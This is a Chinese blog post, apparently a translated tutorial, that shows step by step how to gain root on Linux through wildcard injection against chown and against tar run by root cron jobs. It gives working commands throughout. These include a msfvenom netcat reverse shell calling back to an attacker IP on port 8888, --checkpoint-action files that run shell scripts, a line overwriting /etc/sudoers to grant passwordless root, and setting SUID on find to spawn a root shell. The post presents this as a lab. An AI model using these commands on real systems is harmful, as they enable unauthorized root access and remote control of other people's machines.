利用萬用字元進行Linux本地提權

IT168GB發表於2018-07-05

本文轉載自,由FB小編 secist 編譯
本文我將為大家介紹一種非常有趣而又古老的UNIX駭客技術“萬用字元注入”。雖說這已不是什麼新技術了,但在後滲透利用中仍可能成為你手中的一把制勝利器。相信閱讀本文後,你將會對萬用字元有更加全面及深入的認識。好了,話不多說讓我們開始吧!

萬用字元

萬用字元是一種特殊語句,主要有型號(*)和問號(?),用來對字串進行模糊匹配(比如檔名,引數名)。當查詢資料夾時,可以使用它來代替一個或多個真正字元;當不知道真正字元或懶得輸入完整名字時,常常使用萬用字元代替一個或多個真正的字元。

終端裡面輸入的萬用字元是由Shell處理的,不是由所涉及到命令語句處理的,它只會出現在命令的“引數值”裡(它不用在命令名稱裡,命令不記得,那就用Tab補全)。當Shell在“引數值”中遇到了萬用字元時,Shell會將其當作路徑或檔名去在磁碟上搜尋可能的匹配:若符合要求的匹配存在,則進行代換(路徑擴充套件);否則就將該萬用字元作為一個普通字元傳遞給“命令”,然後再由命令進行處理。總之,萬用字元實際上就是一種Shell實現的路徑擴充套件功能。在萬用字元被處理後,Shell會先完成該命令的重組,然後再繼續處理重組後的命令,直至執行該命令。

部分萬用字元:

*  代表任意多個字元

?  代表任意單個字元

[ ] 代表“[”和“]”之間的某一個字元,比如[0-9]可以代表0-9之間的任意一個數字,[a-zA-Z]可以代表a-z和A-Z之間的任意一個字母,字母區分大小寫。

– 代表一個字元。

使用者的根目錄。

示例1

首先,我們來建立一個新目錄“wild”,並透過echo命令在每個建立的檔案中寫入一行內容。

cd /Desktop
mkdir wild cd wild echo "Hello Friends" > file1 echo "This is wildcard Injection" >file2 echo "take help" > --help

1.1.png

接著,使用cat命令嘗試開啟我們所建立的這3個檔案:

cat file1
cat file 2 cat --help

你會發現,前兩個檔案我們可以正常開啟並顯示我們所寫入的內容。但-help檔案中的內容卻無法讀取,而是從自己的庫中呼叫了自己的-help選項輸出,這種技巧被稱之為Wildcard wildness(萬用字元在野)。

1.2.png

透過Chown劫持檔案所有者

Linux/Unix 是多使用者多工作業系統,所有的檔案皆有其擁有者(Owner)。利用 chown命令 可以將檔案的擁有者加以改變。一般來說,這個命令只能由系統管理者(root)使用,一般使用者沒有許可權來改變別人的檔案的擁有者,也沒有許可權可以將自己的檔案的擁有者改設為別人。只有系統管理者(root)才有這樣的許可權。

超級管理員使用者 (root) – 執行管理級任務,例如執行chown命令。

非root使用者1(raj) – 執行普通任務,如建立檔案

非root使用者2(aarti) – 執行普通任務,如建立檔案

惡意使用者(Ignite) – 執行可導致檔案所有者劫持的Chown檔案引用技巧等任務。

在下圖中你可以看到,所有PHP檔案的所有者均為“raj”使用者。此時使用者ignite可以在同一目錄中執行以下命令,使用檔案引用技巧來劫持檔案所有者。

–reference=<參考檔案或目錄>:把指定檔案或目錄的所有者與所屬組,統統設定成和參考檔案或目錄的所有者與所屬組相同。

cd ls -al echo "" > my.php echo > --reference=my.php

1.3.png

當root使用者使用萬用字元修改所有PHP檔案所有權時,ignite使用者將取得所有檔案間接所有權。

如果此時root使用者執行chown將所有PHP的所有權賦予使用者aarti時,將會發生錯誤,,ignite使用者將自動獲取所有PHP檔案的所有權。

chown -R aarti:aarti *.php ls -al

如果你對chown的開關選項有深入的瞭解的話,那麼你一定知道下面這個選項。

–reference=RFILE(直接引用某個檔案的屬性來替換自己的後設資料)

在本文的例子中使用者ignite執行以下命令:

echo "" > my.php
echo > --reference=my.php

然後,root使用者透過萬用字元來修改檔案所有權。chown命令列採用了主觀的’-reference = .my.php’檔案,並將其作為選項傳遞給命令列中的chown命令。

1.4.png

Tar的後利用技巧(階段1)

Lab-Setup

Tar命令是Linux/Unix中非常常用的一個命令。藉助它,我們可以對任何目錄進行壓縮備份。例如,建立一個新目錄並賦予其777許可權,然後建立一些檔案。

mkdir html chmod 777 html
cd html
touch index.html
touch raj
touch file.txt

1.png

現在使用crontab建立一個定時任務,即每隔1分鐘從/var/backups裡面備份/html一次。

nano /etc/crontab
*/1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

2.png

執行以下命令來驗證定時任務是否正常運作。

cd /var/backup
ls

3.png

Tar萬用字元注入(方法1)

提權

啟動攻擊機並進入至對目標系統的提權階段。這裡假設我透過ssh成功登入到受害者的機器,並以非root使用者許可權訪問其終端。 然後開啟crontab檢視是否有任何計劃任務。

cat /etc/crontab

可以看到,這些任務都是以root許可權執行的。其中有一個和tar有關的並且每分鐘執行一次的計劃任務,讓我們嘗試來利用它。

4.png

開啟一個新終端,使用msfvenom生成nc反彈一句話,命令如下。

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R

複製payload並將其貼上至受害者的shell中。

nc -lvp 8888

5.png

現在貼上上面複製的payload,並在受害者的tty shell中執行以下命令。

echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1
tar cf archive.tar *

6.png

上述命令幫助tar命令在第一個檔案歸檔後執行檔案shell.sh。由於在crontab中tar是以root許可權執行的,因此將會產生netcat shell並反彈至攻擊機的8888埠。回到偵聽端,你將在一分鐘後獲取到受害者機器的反向連線。

id

whoami

如果你對chown的選項開關有深入的瞭解的話,那麼你一定知道下面這兩個選項。

–checkpoint[=NUMBER] 顯示每個Numbers記錄的進度訊息(預設值為10)

–checkpoint-action=ACTION 在每個checkpoint(檢查點)上執行ACTION

這裡的‘–checkpoint-action’選項,用於指定到達檢查點時將要執行的程式,這將允許我們執行一個任意的命令。因此,選項‘–checkpoint=1’ 和 ‘–checkpoint-action=exec=sh shell.sh’作為命令列選項交給了tar程式。

7.png

Tar的後利用技巧(階段2)

Lab Setup

這裡我將為大家展示多種壓縮備份的方法,以及特權提升技術。使用tar命令對目錄進行壓縮備份,例如,建立一個新目錄並賦予其777許可權,然後建立一些檔案。

cd /tmp
mkdir data cd data echo "" > f1 echo "" > f2 echo "" > f3
ls

8.png

現在在其他目錄中編寫一個bash指令碼,透過tar命令備份/tmp/data。

mkdir info cd info nano script.sh
chmod 777 script.sh

 9.png

#!/bin/bash cd /tmp/data
tar cf /backup/backup.tgz *

10.png

現在在crontab中建立一個計劃任務,即每隔1分鐘從/var/backups裡面備份/html一次。

nano /etc/crontab                                    */1 *   * * *   root    /info/script.sh

11.png

1分鐘後你會發現,backup.tgz檔案生成並被儲存在了info目錄中。

12.png

Tar萬用字元注入

提權

啟動攻擊機並進入至對目標系統的提權階段。這裡假設我透過ssh成功登入到受害者的機器,並以非root使用者許可權訪問其終端。 然後開啟crontab檢視是否有任何計劃任務。

cat /etc/crontab

可以看到,這些任務都是以root許可權執行的,其中有一個每分鐘執行一次的bash指令碼任務。透過cat命令讀取內容後可得知,這裡我們可以使用tar萬用字元注入利用。

13.png

開啟一個新終端,使用msfvenom生成nc反彈一句話,命令如下。

15.png

複製payload並將其貼上至受害者的shell中。

nc -lvp 8888

現在貼上上面複製的payload,並在受害者的tty shell中執行以下命令。

16.png

上述命令幫助tar命令在第一個檔案歸檔後執行檔案shell.sh。由於在crontab中tar是以root許可權執行的,因此將會產生netcat shell並反彈至攻擊機的8888埠。回到偵聽端,你將在一分鐘後獲取到受害者機器的反向連線。

whoami cd /root pwd

17.png

Tar萬用字元注入(方法2)

提權

攻擊者希望藉助萬用字元注入攻擊,獲取目標系統的最高訪問許可權。因此,他們會嘗試在tar的幫助下注入一些惡意程式碼用於root訪問。這裡有多種獲取root訪問許可權的方法,你可以應用以下技術來提升特權。

嘗試透過新增sudoers檔案為非root使用者授予sudo許可權,命令如下。

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh echo "" > "--checkpoint-action=exec=sh demo.sh" echo "" > --checkpoint=1
tar cf archive.tar *

在上述命令的幫助下,我們嘗試賦予ignite使用者root許可權,並在1分鐘後成功升級為了root許可權賬戶。 

sudo -l sudo bash
whoami

18.png

Tar萬用字元注入(方法3)

提權

我們還可以嘗試為任意的系統二進位制檔案啟用SUID位,同樣地,你可以再次使用以下命令來獲取root訪問許可權。

echo "chmod u+s /usr/bin/find" > test.sh echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1
tar cf archive.tar *
ls -al /usr/bin/find
find f1 -exec "whoami" \;
root
find f1 -exec "/bin/sh" \;
id
whoami

19.png

除了以上提到的這些方法外,其實還有很多tar注入提權的技巧和方法。希望這篇文章能幫助你開啟思路。當然,如果你有更好更巧妙方法的話,也希望你不要吝嗇把它分享給我和大家!

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31510736/viewspace-2157417/,如需轉載,請註明出處,否則將追究法律責任。

相關文章